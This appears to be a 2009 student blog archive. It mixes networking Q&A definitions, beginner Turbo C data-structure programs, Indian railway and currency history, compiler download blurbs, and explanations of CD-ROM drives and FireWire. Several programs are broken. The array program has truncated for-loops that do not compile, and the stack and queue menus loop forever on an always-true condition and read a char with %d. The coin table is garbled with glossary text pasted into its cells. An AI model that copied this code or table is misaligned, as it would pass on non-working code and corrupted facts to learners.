It is a protocol used to advertise the set of networks that can be reached with in an autonomous system. BGP enables this information to be shared with the autonomous system. This is newer than EGP (Exterior Gateway Protocol).

56. What is Gateway-to-Gateway protocol?
It is a protocol formerly used to exchange routing information between Internet core routers.

57. What is NVT (Network Virtual Terminal)?
It is a set of rules defining a very simple virtual terminal interaction. The NVT is used in the start of a Telnet session.

58. What is a Multi-homed Host?
It is a host that has a multiple network interfaces and that requires multiple IP addresses is called as a Multi-homed Host.

59. What is Kerberos?
It is an authentication service developed at the Massachusetts Institute of Technology. Kerberos uses encryption to prevent intruders from discovering passwords and gaining unauthorized access to files.

60. What is OSPF?
It is an Internet routing protocol that scales well, can route traffic along multiple paths, and uses knowledge of an Internet's topology to make accurate routing decisions.

61. What is Proxy ARP?
It is using a router to answer ARP requests. This will be done when the originating host believes that a destination is local, when in fact is lies beyond router.

62. What is SLIP (Serial Line Interface Protocol)?
It is a very simple protocol used for transmission of IP datagrams across a serial line.

63. What is RIP (Routing Information Protocol)?
It is a simple protocol used to exchange information between the routers.

64. What is source route?
It is a sequence of IP addresses identifying the route a datagram must follow. A source route may optionally be included in an IP datagram header.

FACTORIAL C CODE

2009-04-19T11:11:00.000-07:00

\\TOPIC:FACTORIAL OF A NUMBER
#include < stdio.h >
#include < conio.h >
void main()
{
long int fact=1;
int num,i=1;
clrscr();
printf("Enter number for factorial");
scanf("%d",&num);
for(i=1;i<=num;i++)
{
fact=fact*i;
}
printf("Factorial is %ld",fact);
getch();
}

LINKED LIST C CODE

2009-04-19T11:07:00.000-07:00

\\DATA STRUCTURE
\\TOPIC:MENUDRIVEN LINKED LIST IMPLEMENTATION
\\AUTHOR:DARSHIT VORA
#include < stdio.h >
#include < conio.h >
#include < alloc.h >
struct node
{
int info;
struct node *next;
}*start,*temp,*nnew;
int i=0,num;
void insertbeg();
void insertmid();
void insertend();
void deletebeg();
void deletemid();
void delend();
void delall();
void display();
void main()
{
int ch,ch1,ch2;
char ans;
do
{
clrscr();
printf("What do you want to do?");
printf("\n\n1.Insert");
printf("\n2.Delete");
printf("\n3.Display");
printf("\n4.Exit");
printf("\n\nEnter your choice");
scanf("%d",&ch);
switch(ch)
{
case 1:
{
printf("\n\n1.Insert at beginning");
printf("\n2.Insert in middle");
printf("\n3.Insert at end");
printf("\nEnter your choice");
scanf("%d",&ch1);
switch(ch1)
{
case 1:insertbeg();break;
case 2:insertmid();break;
case 3:insertend();break;
}
break;
}
case 2:
{
printf("\n\n1.Delete first element");
printf("\n2.Delete from middle");
printf("\n3.Delete last element");
printf("\n4.Delete entire list");
printf("\nEnter your choice");
scanf("%d",&ch2);
switch(ch2)
{
case 1:deletebeg();break;
case 2:deletemid();break;
case 3:delend();break;
case 4:delall();break;
}
break;
}
case 3:display();break;
case 4:exit();break;
}
printf("\nDo you want to continue?(y/n)");
flushall();
scanf("%c",&ans);
}while(ans=='y' || ans=='Y');
}
void insertbeg()
{
if(i==0)
{
temp=start;
printf("List is empty");
start=(struct node *) malloc(sizeof(struct node));
printf("\nEnter element ");
scanf("%d",&start->info);
start->next=NULL;
i=i+1;
temp=start;
}
else
{
temp=start;
temp=(struct node *) malloc(sizeof(struct node));
printf("Enter element ");
scanf("%d",&temp->info);
i=i+1;
temp->next=start;
start=temp;
}
}
void insertmid()
{
temp=start;
printf("Enter element after which you want to insert ");
scanf("%d",&num);
nnew=(struct node *) malloc(sizeof(struct node));
printf("Enter element to insert ");
scanf("%d",&nnew->info);
while(temp->next!=NULL)
{
if(temp->info==num)
{
nnew->next=temp->next;
temp->next=nnew;
break;
}
temp=temp->next;
}
i=i+1;
}
void insertend()
{
temp=start;
while(temp->next!=NULL)
{
temp=temp->next;
}
nnew=(struct node *) malloc(sizeof(struct node));
printf("Enter element ");
scanf("%d",&nnew->info);
temp->next=nnew;
nnew->next=NULL;
temp=start;
i=i+1;
}
void deletebeg()
{
if(i==0)
{
printf("List is Empty,cannot delete");
}
temp=start;
start=temp->next;
free(temp);
temp=start;
i=i-1;
}
void deletemid()
{
if(i==0)
{
printf("List is Empty,cannot delete");
}
printf("Enter element which you want to delete");
scanf("%d",&num);
temp=start;
nnew=start;
while(temp->next!=NULL)
{
if(temp->info==num)
{
nnew->next=temp->next;
break;
}
nnew=temp;
temp=temp->next;
}
free(temp);
temp=start;
i=i-1;
}
void delend()
{
if(i==0)
{
printf("List is Empty,cannot delete");
}
temp=start;
nnew=start;
while(temp->next!=NULL)
{
nnew=temp;
temp=temp->next;
}
free(temp);
nnew->next=NULL;
i=i-1;
}
void delall()
{
temp=start;
while(start!=NULL)
{
nnew=temp;
temp=temp->next;
free(nnew);
i=i-1;
start=temp;
}
printf("List is Empty");
}
void display()
{
if(i==0)
{
printf("List is Empty");
}
temp=start;
while(temp!=NULL)
{
printf("%d ",temp->info);
temp=temp->next;
}
}

STACK C CODE

2009-04-19T10:59:00.000-07:00

\\DATA STRUCTURE
\\TOPIC:MENUDRIVEN STACK IMPLEMENTATION
\\AUTHOR:DARSHIT VORA
#include < stdio.h >
#include < conio.h >
#include < process.h >
void push();
void pop();
void display();
int stack[10],top=-1,ch,i,ele;
char ans;
void main()
{
clrscr();
do
{
printf("1 - insert");
printf("\n2 - delete");
printf("\n3 - display");
printf("\n4 - exit");
printf("\nWhat do u wanna do");
scanf("%d",&ch);
switch(ch)
{
case 1:
{
push();
break;
}
case 2:
{
pop();
break;
}
case 3:
{
display();
break;
}
case 4:exit(0);
}
flushall();
printf("\nDo u wanna continue(y\n)");
flushall();
scanf("%d",&ans);
}while(ans=='y'||'Y');
getch();
}
void push()
{
if(top==-1)
printf("\n stack is empty");
if(top>=10)
{
printf("\nstack is full");
}
else
{
printf("\nEnter the elemnet u wanna insert");
scanf("%d",&ele);
top=top+1;
stack[top]=ele;
printf("\n%d is inserted",ele);
}
}
void pop()
{
printf("\n%d is deleted",stack[top]);
stack[top]=NULL;
top=top-1;
if(top==-1)
{
printf("\nstack is empty");
}
}
void display()
{
if(top==-1)
{
printf("\nStack is empty");
}
for(i=0;i < top;i++)
{
printf("\n%d",stack[i]);
}
}

QUEUE(FIFO) C CODE

2009-04-19T10:57:00.000-07:00

//DATA STRUCTURE
//TOPIC:MENUDRIVEN QUEUE IMPLEMENTATION
//AUTHOR:DARSHIT VORA
#include < stdio.h >
#include < conio.h >
#include < process.h >
void insert();
void qdelete();
void display();
int f=-1,r=-1,i,ch,ele;
char ans;
int q[10];
void main()
{
clrscr();
do
{
clrscr();
printf("1 - insert");
printf("\n2 - delete");
printf("\n3 - display");
printf("\n4 - exit");
printf("\nWhat do u wanna do");
scanf("%d",&ch);
switch(ch)
{
case 1:
{
insert();
break;
}
case 2:
{
qdelete();
break;
}
case 3:
{
display();
break;
}
case 4:exit(0);
}
flushall();
printf("\nDo u wanna continue(y\n)");
flushall();
scanf("%d",&ans);
}while(ans=='y'||'Y');
getch();
}
void insert()
{
if(r==10)
{
printf("Queue is full");
}
if(r==-1 && f==-1)
{
printf("Queue is empty");
f=f+1;
r=r+1;
printf("Enter the element");
scanf("%d",&q[r]);
}
else
{
r=r+1;
printf("Enter the element");
scanf("%d",&q[r]);
}
}
void qdelete()
{
printf("%d is deleted",q[f]);
q[f]=NULL;
f=f+1;
if(r==-1 && f==-1)
{
printf("Queue is empty");
}
}
void display()
{
if(r==-1 && f==-1)
{
printf("Queue is empty");
}
else
{
for(i=f;i<=r;i++)
{
printf("\n%d",q[i]);
}
}

}

MULTIDIMENSIONAL MATRIX C CODE

2009-04-19T10:52:00.000-07:00

\\DATA STRUCTURE
\\TOPIC:MULTIDIMENSIONAL MATRIX(INSERTION,DISPLAY DIAGONAL,SUM OF DIAGONAL)
\\AUTHOR:DARSHIT VORA
#include < stdio.h >
#include < conio.h >
void main()
{
int a[3][3],i,j,sum=0;
clrscr();

for(i=0;i<3;i++)
{
for(j=0;j<3;j++)
{
printf("Enter the element of matrix");
scanf("%d",&a[i][j]);
}
}
printf("\nThe matrix is:");
for(i=0;i<3;i++)
{
for(j=0;j<3;j++)
{
printf("\na[%d][%d] = %d",i,j,a[i][j]);
}
}
printf("\nThe diagonal of matrix is:");
for(i=0;i<3;i++)
{
printf("\na[%d][%d] = %d",i,i,a[i][i]);
}
printf("\nSum of diagonal of matrix");
for(i=0;i<3;i++)
{
sum=sum+a[i][i];
}
printf("\nSum = %d",sum);
getch();
}

DATA STRUCTURE(LINEAR SEARCH C CODE)

2009-04-19T10:48:00.000-07:00

//DATA STRUCTURE
//TOPIC:LINEAR SEARCH C CODE
//AUTHOR:DARSHIT VORA
#include < stdio.h >
#include < conio.h >
void main()
{
int a[5]={23,1,3,4,56};
int sk,flag=0,pos,i;
clrscr();
printf("Enter the element u want to search");
scanf("%d",&sk);
for(i=0;i<5;i++)
{
if(a[i]==sk)
{
flag=1;
pos=i;

}
}
if(flag==1)
{
printf("\nelement %d found at pos %d",sk,pos);
}
else
printf("\nElement not found");
getch();
}

ARRAY OPERATION(DATA STRUCTURE C PROGRAM)

2009-04-19T10:38:00.000-07:00

//DATA STRUCTURE
//TOPIC:ARRAY
//AUTHOR:DARSHIT VORA
//program to perfom insertion and deletion from array from specified position
#include < stdio.h >
#include < conio.h >

void main()
{
int a[20],i,ele,n,pos;

clrscr();

printf("\n\n Enter the size of the array: ");
scanf("%d",&n);

printf("\n Enter %d elements: ",n-1);
for (i=0;i < n-1;i++)
scanf ("%d",&a[i]);

printf("\n\n Array: ");
for(i=0;i printf("%d ",a[i]);

//INSERTION

printf("\n\n Enter the element you want to insert: ");
scanf("%d",&ele);
printf("\n Enter the position of insertion: ");
scanf("%d",&pos);

for(i=n-1;i>=pos;i--)
a[i]=a[i-1];

a[i]=ele;

printf("\n\n Array: ");
for(i=0;i printf("%d ",a[i]);

//DELETION

printf("\n Enter the position of the element you want to delete: ");
scanf("%d",&pos);

a[pos-1]=NULL;

for(i=pos;i a[i-1]=a[i];

printf("\n\n Array: ");
for(i=0;i printf("%d ",a[i]);

getch();
}

INDIAN RAILWAYS

2009-04-01T04:59:00.000-07:00

History of rail transport in India

A plan for a rail system in India was first put forward in 1832, but no further steps were taken for more than a decade. In 1844, the Governor-General of India Lord Hardinge allowed private entrepreneurs to set up a rail system in India. The East India Company (and later the British Government) encouraged new railway companies backed by private investors under a scheme that would provide land and guarantee an annual return of up to five percent during the initial years of operation. The companies were to build and operate the lines under a 99 year lease, with the government having the option to buy them earlier.

Extent of Great Indian Peninsular Railway network in 1870. The GIPR was one of the largest rail companies at that time.

Map of the Madras and South Mahratta Railway lines

Two new railway companies, Great Indian Peninsular Railway (GIPR) and East Indian Railway (EIR), were created in 1853-54 to construct and operate two 'experimental' lines near Bombay and Calcutta respectively.The first train in India had become operational on 22 December 1851 for localised hauling of canal construction material in Roorkee. A year and a half later, on 16 April 1853, the first passenger train service was inaugurated between Bori Bunder in Bombay and Thane. Covering a distance of 34 kilometres (21 mi), it was hauled by three locomotives, Sahib, Sindh, and Sultan.

In 1854 Lord Dalhousie, the then Governor-General of India, formulated a plan to construct a network of trunk lines connecting the principal regions of India. Encouraged by the government guarantees, investment flowed in and a series of new rail companies were established, leading to rapid expansion of the rail system in India. Soon various native states built their own rail systems and the network spread to the regions that became the modern-day states of Assam, Rajasthan and Andhra Pradesh. The route mileage of this network increased from 1,349 kilometres (838 mi) in 1860 to 25,495 kilometres (15,842 mi) in 1880 - mostly radiating inland from the three major port cities of Bombay, Madras, and Calcutta.By 1895, India had started building its own locomotives, and in 1896 sent engineers and locomotives to help build the Uganda Railway.

At the beginning of the twentieth century India had a multitude of rail services with diverse ownership and management, operating on broad, metre and narrow gauge networks. In 1900 the government took over the GIPR network, while the company continued to manage it. With the arrival of the First World War, the railways were used to transport troops and foodgrains to the port city of Bombay and Karachi en route to UK, Mesopotamia, East Africa etc. By the end of the First World War, the railways had suffered immensely and were in a poor state. In 1923, both GIPR and EIR were nationalized with the state assuming both ownership and management control.

The Second World War severely crippled the railways as rolling stock was diverted to the Middle East, and the railway workshops were converted into munitions workshops. At the time of independence in 1947, about 40 per cent of the railways then went to newly-created nation of Pakistan.^{[citation needed]} A total of forty-two separate railway systems, including thirty-two lines owned by the former Indian princely states, were amalgamated as a single unit which was christened as the Indian Railways. The existing rail networks were abandoned in favour of zones in 1951 and a total of six zones came into being in 1952.

As the economy of India improved, almost all railway production units were 'indigenised' (produced in India). By 1985, steam locomotives were phased out in favour of diesel and electric locomotives. The entire railway reservation system was streamlined with computerisation between 1987 and 1995.

INDIAN CURRENCY

2009-03-30T21:28:00.000-07:00

After independence, new designs were introduced to remove the portrait of the King. The government continued to issue the 1 rupee note, while the Reserve Bank issued other denominations, including the 5000 and 10,000 rupee notes introduced in 1949. In the 1970s, 20 and 50 rupee notes were introduced but denominations higher than 100 rupees were demonetized in 1978. In 1987, the 500 rupee note was reintroduced, followed by the 1000 rupees in 2000.

Circulating Coins (*)
Value	Technical parameters				Description		Date of
Value	Diameter	Mass	Composition	Shape	Obverse	Reverse	first minting	last minting
5 paise	22 mm (diagonal)	1.5 g	Aluminium Aluminium Aluminium or aluminum is the chemical element in the periodic table that has the symbol Al and atomic number 13....	Square	Emblem of India Emblem of India Category:National coats of armsCategory:National symbols of Indiade:Wappen Indienses:Escudo de la India...	Value	1957	1994
10 paise	16 mm	2 g	Ferritic stainless steel Stainless steel In metallurgy, stainless steel is defined as a ferrous alloy with a minimum of 10% chromium content....	Circular			1961	1998
20 paise	27 mm (longest)	2.2 g	Aluminium Aluminium Aluminium or aluminum is the chemical element in the periodic table that has the symbol Al and atomic number 13....	Hexagon Hexagon In geometry, a hexagon is a polygon with six edges and six vertex. Its Schlfli symbol is .The internal angles of a regular hexagon are all...			1982	1994
25 paise	19 mm	2.83 g	Ferritic stainless steel Stainless steel In metallurgy, stainless steel is defined as a ferrous alloy with a minimum of 10% chromium content....	Circular	Emblem of India Emblem of India Category:National coats of armsCategory:National symbols of Indiade:Wappen Indienses:Escudo de la India... , value	Rhinoceros Rhinoceros The rhinoceros is any of five surviving species of odd-toed ungulates in the family Rhinocerotidae....	1973	–
50 paise	22 mm	3.79 g				Parliament of India Parliament of India The Parliament of India is bicameral. It is located in New Delhi at Sansad Marg. This is the supreme legislative body of the Republic of India.... , map of India	1973	–
Rs. 1	25 mm	4.85 g			Emblem of India Emblem of India Category:National coats of armsCategory:National symbols of Indiade:Wappen Indienses:Escudo de la India...	Value, cross	2005	–
Rs. 2	27 mm	5.62 g			Emblem of India Emblem of India Category:National coats of armsCategory:National symbols of Indiade:Wappen Indienses:Escudo de la India...	Value, cross	2005	–
Rs. 5	23 mm	6 g			Emblem of India Emblem of India Category:National coats of armsCategory:National symbols of Indiade:Wappen Indienses:Escudo de la India...	Value, wavy lines	2007	–

The coins are minted at the four locations of the India Government Mint

India Government Mint

The India Government Mint operates four Mint s in the country for the production of coins. They are located at:...
.

Currently Circulating Notes

Mahatma Gandhi Series
		image observe
		image observe

compiler software

2009-03-29T07:54:00.000-07:00

ALL DIFFERENT TYPES OF COMPILER:

1.python

Python is a dynamic object-oriented programming language that can be used for many kinds of software development. It offers strong support for integration with other languages and tools, comes with extensive standard libraries, and can be learned in a few days. Many Python programmers report substantial productivity gains and feel the language encourages the development of higher quality, more maintainable code.

Python runs on Windows, Linux/Unix, Mac OS X, OS/2, Amiga, Palm Handhelds, and Nokia mobile phones. Python has also been ported to the Java and .NET virtual machines.

Python is distributed under an OSI-approved open source license that makes it free to use, even for commercial products.
click here to download

2.MySQL

MySQL Community Edition is a freely downloadable version of the world's most popular open source database that is supported by an active community of open source developers and enthusiasts.

MySQL delivers enterprise features, including:

* Partitioning to improve performance and management of very large database environments
* Row-based/Hybrid Replication for improved replication security
* Event Scheduler to create and schedule jobs that perform various database tasks
* XPath Support
* Dynamic General/Slow Query Log
* Performance/Load Testing Utility (mysqlslap)
* Improved! Full Text Search (faster, new dev templates)
* Improved! Archive engine (better compression, more features)
* Improved! User session and problem SQL identification
* Improved! MySQL embedded library (libmysqld)
* Additional INFORMATION_SCHEMA objects
* Faster data import operations (parallel file load)
* ACID Transactions to build reliable and secure business critical applications
* Stored Procedures to improve developer productivity
* Triggers to enforce complex business rules at the database level
* Views to ensure sensitive information is not compromised
* Information Schema to provide easy access to metadata
* Pluggable Storage Engine Architecture for maximum flexibility
* Archive Storage Engine for historical and audit data

CLICK HERE TO DOWNLOAD

3.SQL Server 2005 Express SP2

SQL Server 2005 Express Edition is the next version of MSDE and is a free, easy-to-use, lightweight, and embeddable version of SQL Server 2005. Free to download, free to redistribute, free to embed, and easy for new developers to use immediately, SQL Server Express includes powerful features such as SQL Server Management Studio Express, for easily managing a database.

SQL Server 2005 Express Edition has the following benefits:

* Fast to download and install: It's a compact download, and you can get up and running in as little as 20 minutes.
* Simplified administration: Automatically tune your database for optimal performance. For convenience, you can use Microsoft Update to automatically receive the latest patches and updates, enabling a high level of security and the latest features.
* Free management tool: SQL Server Management Studio: You can download the SQL Server Management Studio Express [can we provide a FH link here?], an easy and efficient management tool for SQL Server Express. With SQL Server Management Studio you enjoy a consistent management experience across all SQL Server 2005 Editions.
* Seamless integration with Visual Studio Express Editions.
* Easy to deploy: Easily move or copy your SQL Server Express databases to another computer or hosted server using XCopy and ClickOnce deployment.

CLICK HERE TO DOWNLOAD

4.Turbo c 3.0 compiler
This is a free C++ compiler from Borland. It comes with an IDE and debugger.

CLICK HERE TO DOWNLOAD

5.TASM Assembler
In this directory you would find programs (compiler TASM, linker TLINK,etc ....).

1. Move this directory to a suitable drive
(In my case I have used C:\ tasm>).

2.Once you have executed the step1 goto "START" command on the
toolbar of your desktop.

3.HERE you would find the command "RUN".

4. In this window type "command".

5. Now a DOS screen appears. Go to the directory where you have
placed TASM.

6."c:\"
To goto folder TASM I type...
"cd tasm"
Here 'cd' stands for change directory.
"c:\tasm>"

7.TO compile file "1stprog.asm" we follow the following procedure. Type "tasm 1stprog.asm".

8. This would compile the file and convert the file to object file,If no errors are present proceed.

9. Then type "link 1stprog" to create an executable.

10. To run your program type simply "1stprog" and your done....
You should see the o/p of exe file 1stprog.exe.

CLICK HERE TO DOWNLOAD

cd rom

2009-03-29T07:39:00.000-07:00

CD-ROM Drive Construction and Operation
In terms of construction and basic components, CD-ROMs are rather similar in most regards to other storage devices that use circular, spinning media, which isn't that much of a surprise. The big difference of course is the way the information is recorded on the media, and the way that it is read from the media as well. This section takes a look at the basics of how CD-ROM drives are constructed and how they work.

Optical "Head" Assembly
The middle two letters in "CD-ROM" stand for "read only", so it shouldn't be any surprise that standard CD-ROM drives are read only devices, and cannot be written to. (Newer variants of CD-ROMs, CD-R and CD-RW drives, break this long-standing rule of this type of device.) Most people know this anyway because CD-ROMs use the same basic technologies that CD audio players have for many years, and everyone knows that these devices can only play back, not record.

The reason that the word "head" is in quotes is that CD-ROM drives do not use a read head in the conventional sense the way a floppy disk or hard disk does. It isn't just that the head cannot record, it really isn't a single solid head that moves over the surface of CD-ROM media, reading it. The head is a lens--sometimes called a pickup-- that moves from the inside to the outside of the surface of the CD-ROM disk, accessing different parts of the disk as it spins. This is just like how a hard disk or floppy disk head works, but the CD-ROM lens is only one part of an assembly of components that together, read the information off the surface of the disk.

Here's how the CD-ROM works, in a nutshell (I'm not going to go into the gory details of how the laser beams are manipulated within the drive because that can get complicated--there are in fact several slightly different ways that the internals work):

1. A beam of light energy is emitted from an infrared laser diode and aimed toward a reflecting mirror. The mirror is part of the head assembly, which moves linearly along the surface of the disk.
2. The light reflects off the mirror and through a focusing lens, and shines onto a specific point on the disk.
3. A certain amount of light is reflected back from the disk. The amount of light reflected depends on which part of the disk the beam strikes: each position on the disk is encoded as a one or a zero based on the presence or absence of "pits" in the surface of the disk. This is discussed in more detail in the section on CD-ROM media.
4. A series of collectors, mirrors and lenses accumulates and focuses the reflected light from the surface of the disk and sends it toward a photodetector.
5. The photodetector transforms the light energy into electrical energy. The strength of the signal is dependent on how much light was reflected from the disk.

Most of these components are fixed in place; only the head assembly containing the mirror and read lens moves. This makes for a relatively simplified design. CD-ROMs are of course single-sided media, and the drive therefore has only one "head" to go with this single data surface. Details on how data is encoded onto and decoded from the CD-ROM disk are included in the section on CD-ROM media.

Since the read head on a CD-ROM is optical, it avoids many of the problems associated with magnetic heads. There is no contact with the media as with floppy disks so there is no wear or dirt buildup problem. There is no intricate close-to-contact flying height as with a hard disk so there is no concern about head crashes and the like. However, since the mechanism uses light, it is important that the path used by the laser beam be unobstructed. Dirt on the media can cause problems for CD-ROMs, and over time dust can also accumulate on the focus lens of the read head, causing errors as well.

Head Actuator Mechanism
Most people don't think of a CD-ROM drive as having a head actuator, in the sense that a hard disk or floppy disk drive does. In fact, however, the lens assembly does move across the CD-ROM media in a similar way to how the heads on a hard disk or floppy disk drive do.

As described in the section on the read head, only part of the whole mechanism used to read the CD-ROM actually moves. This is the lens and mirror assembly that focuses the laser energy onto the surface of the disk. The technology used to move the read head on a CD-ROM drive is in some ways a combination of those used for floppy disk drives and for hard disk drives.

Mechanically, the head moves in and out on a set of rails, much as the head of a floppy disk drive does. At one end of its travel the head is positioned on the outermost edge of the disk, and on the other end it is near the hub of the CD. However, due to the dense way the information is recorded on the CD, CD-ROM drives cannot use the simple stepper motor positioning of a floppy disk. CD-ROM media actually use a tighter density of tracks than even hard disks do!

Instead, the positioning of the head is controlled by an integrated microcontroller and servo system. This is similar to the way the actuator on a hard disk is positioned. This means that the alignment problems found on floppy drives (and much older hard disks) are not generally a concern for CD-ROM drives, and there is some tolerance for a CD that is slightly off center (but not a lot).

Like a floppy disk, the head actuator on a CD-ROM is relatively slow. The amount of time taken to move the heads from the innermost to the outermost tracks--called a full-stroke seek--is about an order of magnitude higher than it is for hard disks.
Spindle Motor, Constant Linear Velocity (CLV) and Constant Angular Velocity (CAV)
Like all spinning-disk media, the CD-ROM drive includes a spindle motor that turns the media containing the data to be read. The spindle motor of a standard CD-ROM is very different from that of a hard disk or floppy drive in one very important way: it does not spin at a constant speed. Rather, the speed of the drive varies depending on what part of the disk (inside vs. outside) is being read.

Standard hard disks and floppy disks spin the disk at a constant speed. Regardless of where the heads are, the same speed is used to turn the media. This is called constant angular velocity (CAV) because it takes the same amount of time for a turn of the 360 degrees of the disk at all times. Since the tracks on the inside of the disk are much smaller than those on the outside of the disk, this constant speed means that when the heads are on the outside of the disk they will traverse a much longer linear path than they do when on the inside. Hence, the linear velocity is not constant. Newer hard disks take advantage of this fact by storing more information on the outer tracks of the disk than they do on the inner tracks, a process called zoned bit recording. They also have higher transfer rates when reading data on the outside of the disk, since more of it spins past the head in each unit of time.

CD-ROMs take a different approach. They adjust the speed of the motor so that the linear velocity of the disk is always constant. When the head is on the outside of the disk, the motor runs slower, and when it is on the inside, it runs faster. This is done to ensure that the same amount of data always goes past the read head in a given period of time. This is called constant linear velocity or CLV.

The reason that CD-ROMs work this way is based on their heritage of being derived from audio CDs. Early CD players did not have the necessary smarts or buffer memory to allow them to deal with bits arriving at a different rate depending on what part of the disk they were using. Therefore, the CD standard was designed around CLV to ensure that the same amount of data would be read from the disk each second no matter what part of it was being accessed. CD-ROMs were designed to follow this methodology.

The speed of the spindle motor is controlled by the microcontroller, tied to the positioning of the head actuator. The data signals coming from the disk are used to synchronize the speed of the motor and make sure that the disk is turning at the correct rate.

The first CD-ROMs operated at the same speed as standard audio CD players: roughly 210 to 539 RPM, depending on the location of the heads. This results in a standard transfer rate of 150 KB/s. It was realized fairly quickly that by increasing the speed of the spindle motor, and using sufficiently powerful electronics, it would be possible to increase the transfer rate substantially. There's no advantage to reading a music CD at double the normal speed, but there definitely is for data CDs. Thus the double-speed, or 2X CD-ROM was born. It followed in short order with 3X, 4X and even faster drives. This is discussed more in the performance section.

Virtually all of these drives up to about 12X or so still vary the motor speed to maintain constant linear velocity. As the speed of the drives has increased, many newer drives have come out that actually revert back to the CAV method used for hard disks. In this case, their transfer rate will vary depending on where on the disk they are working, again, just like it does for a hard disk. The "X" rating can be somewhat specious for these drives, since they achieve it only--at best--at the outer edge of the disk. No CAV drive claiming to be 24X actually transfers at that rate over the whole disk. Of course, hard disk drives are the same way and nobody seems to complain about their claims. Some drives actually use a partial CLV or mixed CLV/CAV implementation where the speed of the disk is varied but not as much as in a true CLV drive.

The change back to CAV as the drives get faster and faster is being done due to the tremendous difficulty in changing the speed of the motor when it is going so fast. It is one thing to change a disk spinning at 210 RPM to 539 and back again, but quite another to change it from 5,040 to 12,936 and then back to 5,040! This spin-up and spin-down action is actually one factor contributing to the slow performance of CD-ROMs especially on random accesses.

There are in fact some drives that use a mixture of CLV and CAV. This is a compromise design that uses CAV when reading the outside of the disk, but then speeds up the spin rate of the disk while reading the inside of the disk. This is done to improve the transfer rates at the inside edge of the disk, which can be 60% lower than the rates at the outside of the disk in a regular CAV drive.

Loading Mechanism
The loading mechanism refers to the mechanical components that are responsible for loading CDs into the CD-ROM drive. There are two different ways that CD-ROM media are normally loaded into the CD-ROM drive.
The most popular loading mechanism used today is the tray. With this system, a plastic tray, driven by gears, holds the CD. When the eject button is pressed the tray slides out of the drive, and the CD is placed upon it. The tray is then loaded back into the drive when the eject button is pressed a second time. Most drives will also respond to a slight "push" on the drive tray by activating the mechanism and retracting the tray.
Many older CD-ROM drives, and many higher-end drives even today, use caddies. These are small carriers made of plastic. A hinge on one side opens up to let you put a disk within the caddy, and a metal cover on the bottom slides out of the way to allow access to the CD by the drive. The caddy is inserted into the CD-ROM drive as a sort of "virtual cartridge". In fact, the CD inside the caddy is pretty similar to the way a 3.5" floppy disk works within its jacket--a media disk inside a plastic protective carrier with a sliding metal access panel. Of course the CD is still removable. Also, the CD caddies are much more solidly built.
Interestingly, some of the other loading mechanisms found on audio CD players seem to be rarely used for CD-ROMs. For example, many car stereos use direct front-loading of the CD; I've never seen this used for CD-ROMs, but I am told that the first Compaq Deskpro 2000 models used this technique. I've also never seen a top-loading CD-ROM drive (but the reason for that is pretty obvious).
Of the two mechanisms, the tray is far more common because it makes for a cheaper drive and also for cheaper use of the media. Most consumer-grade drives use trays for this reason. There are problems with these tray drives however:

1. Fragile Mechanism: One problem is that the mechanism for moving the tray in and out of the drive is really not hard to break if it is mishandled. The CD, when placed in the tray, just sort of "sits there" loose, and if you put it in the tray off-center it is possible for the disk to get stuck in the tray when it retracts, potentially damaging both disk and drive. This problem makes these drives harder for children to use, as they may misalign the disk and cause it to jam in the drive.
2. Increased Handling: Trays mean each disk must be handled a fair bit, which can increase the chances of wear, dirt accumulation and scratches on the media. Caddies eliminate virtually all handling of the individual disk.
3. No Vertical Orientation: These drives cannot be side-mounted, as the CD would fall right out of the tray. This isn't a concern for most people but it is for some. There are in fact some CD-ROMs that have four tabs around the perimeter of the tray for holding the disk in place. This might work mounted vertically, but I personally still would not do it.
Caddies are used on many high-end drives and are a much better mechanism, if you can afford to use them properly. This means that you basically need a caddy for each CD you use on a regular basis. Unfortunately, this can be an expensive proposition, because the stupid things still cost a lot of money--like $5 or more a piece! Frankly, it's kind of ridiculous that they cost this much considering that similar cartridges cost a fraction of this price. It must be just due to the fact that they are sold in such low volume. At any rate, if you have twenty CDs that you use on a regular basis then you are looking at an extra $100 for caddies, which turns most people off to these types of drives in rather short order.
Another possibility is to simply use one or two caddies and then switch the CDs into them as you need them. This is of course an option, but in doing this you lose one of the biggest advantages of the caddy: the reduced handling. You also make using your drive a pain in the rear end, because each time you use a CD you have the added step of swapping the disk into the caddy. (In fact, you have more media handling than you would with a tray drive.) If you can't afford the caddies you are usually better off with a tray drive, unless you especially need the ability to mount the drive vertically.
Logic Board
Every CD-ROM drive contains a logic board. As with the hard disk drive, the job of this board is to both control the drive and interface to the PC either using IDE/ATAPI or SCSI (in most cases).

FIREWIRE(IEEE 1394)

2009-03-29T00:31:00.000-07:00

Firewire, also known as IEEE 1394 and i.Link, is a high speed serial bus developed by Texas Instruments and Apple computers in the mid 1990s. Firewire is compatible with more than 63 electronic and digital devices, which makes it a great choice for many people. Technically speaking, Firewire is a PC serial bus interface standard that offers isochronous data services and high-speed communications between digital devices. Basically, Firewire facilitates faster data transfer rates and usability across multiple devices.
Firewire is similar to Universal Serial Bus (USB), but it has a higher data transfer capacity - up to 800 Mbps, compared to the USB's 480 Mbps. This makes it ideal for peripherals that require high-speed data transfer, such as digital camcorders, DVD players and digital audio equipment.
Features of firewire
FireWire can connect up to 63 devices together, and allows peer-to-peer connectivity (i.e., between a camera and printer). It also uses isochronous real time data services which allows for real-time data transfer between a peripheral (i.e., a camcorder) and a host computer or device, with guaranteed bandwidth and no error correction.

This allows users to edit and create custom video projects with fast hard drives, a digital camcorder and a computer. Given the right software, a computer can download material from the camera automatically and with perfect digital clarity. Since the content is digital from start to finish, there is no loss of quality as you work on successive generations using the same material.
(From a different website)The need for FireWire and other next generation networks like it is being driven by a rapidly growing need for mass information transfer be it for the desktop computer in the office or, for the manufacturing process on the shop floor. Typical local area networks can not provide cost effective connections nor do they easily support guaranteed bandwidth for real time applications. Additionally, parallel high speed communications methods such as SCSI are not suited to long distances. These benefits of FireWire combined with the hot plugging" capability makes it a very attractive connection method. "Hot plugging" allows a user to connect or disconnect devices without first turning off the power to the system. Systems running FireWire will automatically recognize and re-configure when a device is connected or disconnected.

One of the interesting features of FireWire is its capability to support both asynchronous and isochronous data transfers. Asynchronous mode is supported in the sense that the data to be sent is grouped and sent as a packet at irregular intervals as determined by the arbitration scheme. Isochronous mode on the other hand issues packets at a pre-determined rate. This is especially important for time-critical multimedia data where the predetermined rate can eliminate the need for costly buffering. Isochronous format is viewed as important for support of real time critical applications where video and audio must operate on the same bus and in some applications it's being investigated as a potential candidate for interfacing controls to digital servo drives.(ends)
Working of firemire
